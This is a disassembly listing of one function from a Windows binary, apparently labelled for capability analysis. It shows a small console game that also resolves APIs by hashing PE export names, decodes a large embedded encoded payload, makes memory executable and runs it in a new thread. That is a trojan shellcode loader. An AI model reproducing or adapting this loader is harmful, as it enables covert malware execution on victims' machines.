Function at 0x1400017f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
mov eax, 0x642b8
call fcn.140002460
sub rsp, rax
mov rax, qword [0x14006a008]
xor rax, rsp
mov qword [rsp + 0x642a0], rax
xor ecx, ecx
call fcn.140002110
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
call fcn.140001370
cmp dword [0x14006a360], 0
jne 0x14000186b
call fcn.140001480
mov dword [rsp + 0x80], 1
mov dword [rsp + 0x98], 2
lea rcx, str.Enter_row_and_column__e.g.__2_3_:
call fcn.140002080
mov edx, dword [rsp + 0x98]
mov ecx, dword [rsp + 0x80]
call fcn.140001670
jmp 0x140001826
call fcn.140001480
lea rcx, str.Game_Over_n
call fcn.140002080
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x60], 0
call fcn.1400012e0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xa0]
lea rax, [rcx + rax + 4]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax + 0x10]
cmp eax, 0xf0
jne 0x140002064
mov rax, qword [rsp + 0xa8]
add rax, 0x14
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
add rax, 0x70
mov qword [rsp + 0xc8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xc8]
mov eax, dword [rcx + rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x84], 0xb525761
mov dword [rsp + 0x88], 0xe7aa2d3
mov dword [rsp + 0x8c], 0xc913bce1
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0x38], 0
jmp 0x140001a12
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x38], eax
jae 0x140001b2b
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x100]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x108]
movzx eax, word [rcx + rax*2]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x78]
call fcn.140001280
cmp dword [rsp + 0x84], eax
jne 0x140001a9d
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0x78]
call fcn.140001280
cmp dword [rsp + 0x88], eax
jne 0x140001ae0
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x78]
call fcn.140001280
cmp dword [rsp + 0x8c], eax
jne 0x140001b26
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0xd0], rax
jmp 0x140001a08
lea rax, [rsp + 0x208]
lea rcx, str.a5W_K5QwXsS9qVQ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1400042d1]
mov byte [rsp + 0x1a0], al
lea rax, [rsp + 0x1a1]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x208]
call fcn.140001010
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x1a0]
call qword [rsp + 0x128]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x238]
lea rcx, str.5KJWBr5F_plW_b1J8b0
mov rdi, rax
mov rsi, rcx
mov ecx, 0x15
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1400042d2]
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x1b1]
mov rdi, rax
xor eax, eax
mov ecx, 0xe
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x238]
call fcn.140001010
cmp qword [rsp + 0x68], 0
je 0x140001c32
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x1b0]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x130]
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0x1f8]
lea rcx, str._aVJwXsS9qVQ
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1400042d3]
mov byte [rsp + 0x190], al
lea rax, [rsp + 0x191]
mov rdi, rax
xor eax, eax
mov ecx, 9
rep stosb byte [rdi], al
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x1f8]
call fcn.140001010
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x190]
call qword [rsp + 0x138]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0
lea rax, [rsp + 0x250]
lea rcx, str.0ah487xP365R06VQ_aw
mov rdi, rax
mov rsi, rcx
mov ecx, 0x15
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1400042d7]
mov byte [rsp + 0x1c0], al
lea rax, [rsp + 0x1c1]
mov rdi, rax
xor eax, eax
mov ecx, 0xe
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x250]
call fcn.140001010
cmp qword [rsp + 0xe0], 0
je 0x140001d42
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x140], rax
lea rdx, [rsp + 0x1c0]
mov rcx, qword [rsp + 0xe0]
call qword [rsp + 0x140]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x290]
lea rcx, str.kV0zrlQqVeQqXetS3IdylQx3NvqVQ0_rI0_zH9Pq3YeVL0jaTTTQqm9u3Idypk_rRfqC3Idy3Idy3Idy3Ihy3Il1holyiICn_j9zkMxTqG8Lz6cizmoNzmgH_GYTsmkFyKcQuacgyWlStWlSmEoB_GwFuGRE0YxoIdy3Idy3Ifveqx2HcIxk8itn0qzG0Yle6Dnk8etn0qQ9RglpcIxk1oNWEqyG0YlDIjmktn0pi3gwllMIxk7dzUkqpG0YlFTqCk82tn0qzG0Ul6sIxkVKUUqZG0Yle6Dkk8etn0rN9gAlHMIxkCJLU0qyG0YlrmARtMitn0py3Idy3Idy3Fcv3IcOWoRywAuauIdy3Idy3IdyTIdRfI5w14dy3oZy3Elw3Idy3Icq54Vy3Jdy3Idy3Qdz3Idy3Jdy3Idw3Idv3IVy3Idy3IRy3ody3Idy3Qdv3Idu3Idy3Idy3ocS3Ydy7Idy3Idy3Jdy3Idy3Idy3Jdy3Idy3IdC3Idy3Idy3Idy3Jdy3Ifi54Nyrody3JNt2IcO3Idy3Idy3Idy3IdynIRyqKNy3Idy3Idy3Idy3Hdv3Its3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3IeJ34ci3Idy3Idy3Idy3Idy_IZyzIFy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3KkeuX8e3IdyXohx3IdC3Idy3oZy3INy3Idy3Idy3Idy3Idy3Kdy3GdEzmMTyGhy3IWW3Idy_IZy3Ply3Ids34dy3Idy3Idy3Idy3Icy3Icy8mMTyGhy3Icq5Ihy3Kdu3Icc3Idy2INy3Idy3Idy3Idy3IdynIdyHKkiuGgevYdyqKNy3Icy2Ydyody3H1u3Idy3Idy3Idy3Idy3Edy3EdEzmQGs2Zy3Ndl3IdyzIRy3Jdy3IfS2Idy3Idy3Idy3Idy3Icy3Icw3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3Idy3E_pGE_rpI8qVW9ClQAi5E_rxKcvD94vD9VhQ7aclQ6Lh4Zy3IfvLoruXYdy3IrcmYcqUYx6EIZyVotqXPCVyGjyRfkf0bWrQ84b0T9t3IdyN2jxR4YfSEizP4FlisiVG0NpJQaV2HRbngxu5khZ3XI9ng6pHeBCnA9m3kiVHwaZ3Xlnng6pHeBqnA9m3kiVHwaZ3nltmA923kiVHkRhJ7aVQ8EqQ8RZTnXxWfofYUTr7baylQ42I8qV2tO7E_pyKN6lQ4WKexhIFy3IeJOMsqVVtO1E_rsKN6lQAeKc9nVMzqUg8nVIqXtSmbaOmbacD94nV_pRkvpRg6wVVNOpTxq3IdyWdUepfqlkgSHyIYzQ9SVEeyJ4VyV_eJ2EjxSoiKj95w3L6iyPaKdt5w3Q6iN4MzX_NzNRy53odZTHOhmb6eyMpxJ0hpIwSHycMzVJphJ0CVGAwJ1QSVyi7pmKM6lQ42FcqV2tOvE_pyKMKlQau_Eg1nVkzoUg2o8amEMsqV8MqVV9qkQAy5FIqXtilQYS5IcqV_DpJk_nlJ8mUYRNJIZynjBz3IdyD9WtnO9S3IeiQ5Q40oZyWccfEPnlIgmUYRxJIZylQwmFdhLsIuKdK3IeiQ5Rc0oZyWccek_pkKMCkQ6tV9aV6a1k34fxRIge3ra5lQ4mFdhLvp_2olx3Q6xlQ42EcqX8Nio8amlQA2I8qVXNO7FIqXtSlg6iV90qV_CKrPqVQASyyYwmV8HpL0_pE_pQvqVlQ42LcqV3NOBE_xGKc1H8umEE_pGE_rpI8qVXdClQAa5EvrzKcuUVVwmQ64gC7Idy3pG0DpTE_pJUidPtiIHeVwQ8UzBZgh0Ujr7j9s3IdyNfVy3IfpG0RhLkvnCVC934czSaDNwxmrwSryGyVFg6tSiDNvqwV_0uUZMA0DFxlMiK3kXo2LczVIdlipZlik5zHeVuHeBulgay2IaDlQax3AaQA0Xo2LUzVEeX0DExQorcl_qzNYHn6QjxProwVoNgng8yQorcn_rxPLowVoNing8yQ0VE3TRmb6Bz1tlir4zQ8UvB9Yh2orcr4iJ3raAV8LpFsiN2EzNIWzNYPxPLpxE0Xo2LfxPbozVIcwVoNjng8y3URZL3ZnXVlHeVwnorU0LWJ2jBX3Idyng8q3kisnIZXlgay2Eis3Icu98FhHETr3U_poKNqlQ4eJcqV3tO5EvpyKNSH8umlQA2I8qVWtO7E_ryKN6q0g8nVIqXtSlGaLmg6Dkg66V8wqV_WKaxy3La5WccfpE_pwKMKmQ4uGcmV_QntfHi3IdykQxXzNJu3EvnUA9y3IczV9UrV84xQ1NU_QSyyaIxV0NU6QBFVUJuWccU60_nk48q9_LomImaQ8bq3UVHb412HuiD8cqV1tOnE_psKMqlQ4eFcqX8NSnVozolqxEMsqV8MqVV9qlQAK7E_rzJ8qVX9SnVMzqkg9lQaGDE_pNUjp1UDpJUjpTE_pRu8Z8IdyWcdlWe9y3IczV0BuUUiVX_8V0AKB3IdyD9UzV8edTUPpHQSA0ASz3IdySshx0ATa3IdylWZzkQxPdtFu3E8LHTdy3IckV1NSvEzvLnN0lgzzVIdy3E_pK0_pEUDxHY8qVUNO_EiVLuDu3IdyWfEey0znzY9hLwSrwpsmV8QrV8km98YzV0NqRQaw2LhzlQwr2L4B2HuHlGZxkQzxVIdy3E_pK0DpEk8LHTdy3IcwQ1NS9QSyyb1hLrAB2Hl2kQ6tlg6kkK6xng4u1P_xHoPr3U_nlYNZr4MWMU8Rl4Mq3_Aq3BJTXTnD8eJ2j9C3IdylQ42FcqV2tOpE_pyKMSlQ4WG8qX8NinVozokg2H0cBqVE9nVEzq0_xMF8qV4QmxYNylLaulQAuEcqV_AzV4ArV9AzV_cqV2KAK5y3QSy0ASM3Idyng4r2QwzQAaaw4rtLYdy3LaAng6yS_guV8fvLorvg4dy3PGz34rviody3EAR3UvnAW6_2Icqtcfi3Idykw4BG8nWdUe4kDnXg9y3IcqV9QqV8orX8hqlQAuKczQ9WLXody3QScyHQqv4YmUgbq3IdylQwLcqV8oqtcfi3IdynvoBLfvHHQ2mbaymLAx2HlZkQwmLcmV9ImV9wm98om99Ym994qUVZqlgxu7kjxHIMzV0tzRQ4yRLZoVYUqUVVungAm7_MuB0ZuwNwqv0ZulIaalIaK93Zuyg5hHO5vhJdy3IcqV0tOnE9hEO8Hu4VylQaupEg1nVk1olw5H0_xMK8qV9jp1e9M9odyWccf4k8R3kvn2cO2IcqUg3q3IdylGCyjIdy3EWV6IdhHE_xGKxEMumlQA2I8qVXNO7FIqXtSlQ6jD94qUbwnKINylQ5llQSryIsqV9GKwdFw3QSyyKiVH0_zGDdy3IfxR6cWIwaqQ0_poKNilQ4eL8qX8NSo8bpH6GnFYqXtSkQ6rmbaylQx_1dNu3EjYjIdy3E_xxv9yyILonY9a3nNYlQxvMuBu3EBxLkiVHE9ZLHuSlQx_KNZu3La5lQ6wlQZa3HN5lQxnHuBu3EBxHvqxlL6zwODxFPqJ40jpHO54lGapkg6wlGCrjIdy3E9xFkDpLe88PYhyV8YqX8NSp8amEE_roKNqlQAeJc9lQaG_E_pTba5lQxXzeBu3E_p00_vFXNmlQ68NSi_3ofv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x64001
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x64001
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rsp + 0xf8], rax
mov byte [rsp + 0x4c], 0xf3
mov byte [rsp + 0x4d], 0xc4
mov byte [rsp + 0x4e], 0x24
mov byte [rsp + 0x4f], 0xb2
lea rax, [rsp + 0x188]
lea rcx, [0x140004434]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x30], 0
mov dword [rsp + 0x48], 0
jmp 0x140001dba
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
cmp rax, 4
jae 0x140001de0
movsxd rax, dword [rsp + 0x48]
movzx eax, byte [rsp + rax + 0x4c]
dec eax
mov ecx, 1
imul rcx, rcx, 0
mov byte [rsp + rcx + 0x30], al
jmp 0x140001db0
mov rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0x290]
call fcn.140001010
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x148], rax
mov ecx, 0x64001
call qword [rsp + 0x148]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x18c], 0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x150], rax
lea r9, [rsp + 0x18c]
mov r8d, 0x40
mov edx, 0x64002
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x150]
mov r8d, 0x64001
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x58]
call sub.VCRUNTIME140D.dll_memcpy
mov dword [rsp + 0x34], 0
jmp 0x140001e7c
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
cmp rax, 0x64001
jae 0x140001ee4
mov eax, 1
imul rax, rax, 1
movzx eax, byte [rsp + rax + 0x188]
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x58]
movzx ecx, byte [rdx + rcx]
sub eax, ecx
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0
movzx eax, byte [rsp + rax + 0x30]
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x58]
movzx ecx, byte [rdx + rcx]
xor eax, ecx
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rcx], al
jmp 0x140001e72
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x220]
lea rcx, str.0btJ871J5qFW96pI
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1400042da]
mov byte [rsp + 0x1d0], al
lea rax, [rsp + 0x1d1]
mov rdi, rax
xor eax, eax
mov ecx, 0xe
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x220]
call fcn.140001010
cmp qword [rsp + 0x68], 0
je 0x140001f74
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x158], rax
lea rdx, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x158]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x160]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0xb8], 0
lea rax, [rsp + 0x268]
lea rcx, str.5apNBo9TAJxN_KBQ94hGK5HBk
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1d
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x1400042db]
mov byte [rsp + 0x1e0], al
lea rax, [rsp + 0x1e1]
mov rdi, rax
xor eax, eax
mov ecx, 0x12
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x268]
call fcn.140001010
cmp qword [rsp + 0x68], 0
je 0x140002040
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x168], rax
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x168]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x178], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x170]
call qword [rsp + 0x178]
xor eax, eax
mov rcx, qword [rsp + 0x642a0]
xor rcx, rsp
call fcn.1400024c0
add rsp, 0x642b8
pop rdi
pop rsi
ret